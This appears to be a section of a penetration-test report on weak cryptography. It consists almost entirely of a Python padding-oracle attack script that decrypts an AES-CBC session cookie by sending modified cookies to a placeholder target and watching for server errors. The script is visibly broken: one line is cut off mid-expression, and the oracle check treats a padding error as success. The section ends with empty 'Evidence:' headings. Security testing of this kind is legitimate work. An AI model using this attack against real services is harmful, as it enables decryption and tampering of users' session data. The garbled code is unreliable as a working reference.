4.9 Testing for Weak Cryptography

Evidence:

import requests
import base64
import urllib.parse
import urllib3

# Suppress only the InsecureRequestWarning
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Target URL
url = "<URL>"

# Proxy configuration
proxies = {
    'http': 'http://127.0.0.1:8080',  # Set your proxy here
    'https': 'http://127.0.0.1:8080'  # Set your proxy here
}

# Original cookie (URL decoded)
original_cookie = "<COOKIE>"

# Decode the cookie (it's URL encoded)
cookie_value = urllib.parse.unquote(original_cookie)

# Convert the cookie value from Base64 (replace URL-safe characters)
ciphertext = base64.b64decode(cookie_value)

# Splitting the ciphertext into blocks (assuming AES block size of 16 bytes)
block_size = 16
blocks = [ciphertext[i:i+block_size] for i in range(0, len(ciphertext), block_size)]

# Function to send a request with a modified cookie and check for padding errors
def check_padding_oracle(modified_ciphertext):
    # Base64 encode the modified ciphertext and URL encode it
    modified_cookie = base64.b64encode(modified_ciphertext).decode().replace('+', '-').replace('/', '_').rstrip('=')
    modified_cookie = urllib.parse.quote(modified_cookie)

    # Send the request with the modified cookie
    cookies = {'NotificationStateV2.0': modified_cookie}
    response = requests.get(url, cookies=cookies, proxies=proxies, verify=False)  # verify=False to skip SSL warnings)

    # Check for a padding error based on the response
    # You may need to change this based on how the server responds (403, 500, specific message, etc.)
    if response.status_code == 500:  # Adjust this condition as needed
        return True  # Padding error
    return False

# Padding Oracle Attack logic
def padding_oracle_attack(blocks):
    decrypted_blocks = []
    for block_index in range(1, len(blocks)):
        decrypted_block = bytearray(block_size)  # Store decrypted bytes for this block
        intermediate_state = bytearray(block_size)  # Store intermediate state bytes

        previous_block = blocks[block_index - 1]
        current_block = blocks[block_index]

        # Decrypt each byte in the current block
        for byte_index in range(1, block_size + 1):
            padding_value = byte_index

            # Try all possible byte values to guess the correct padding
            for guess in range(256):
                # Modify the previous block to produce the correct padding
                modified_block = bytearray(previous_block)
                for i in range(1, padding_value):
                    modified_block[-i] ^= intermediate_state[-i] ^ padding_value

                modified_block[-padding_value] ^= guess

                # Concatenate the modified previous block and the current block
                modified_ciphertext = bytes(modified_block) + bytes(current_bl
                # Check if we found the correct padding
                if check_padding_oracle(modified_ciphertext):
                    intermediate_state[-padding_value] = guess ^ padding_value
                    decrypted_block[-padding_value] = intermediate_state[-padding_value] ^ previous_block[-padding_value]
                    break

        decrypted_blocks.append(decrypted_block)

    return b''.join(decrypted_blocks)

# Launching the attack
if __name__ == "__main__":
    decrypted = padding_oracle_attack(blocks)
    print("Decrypted message:", decrypted)

Evidence:

Evidence:

Evidence:

Last updated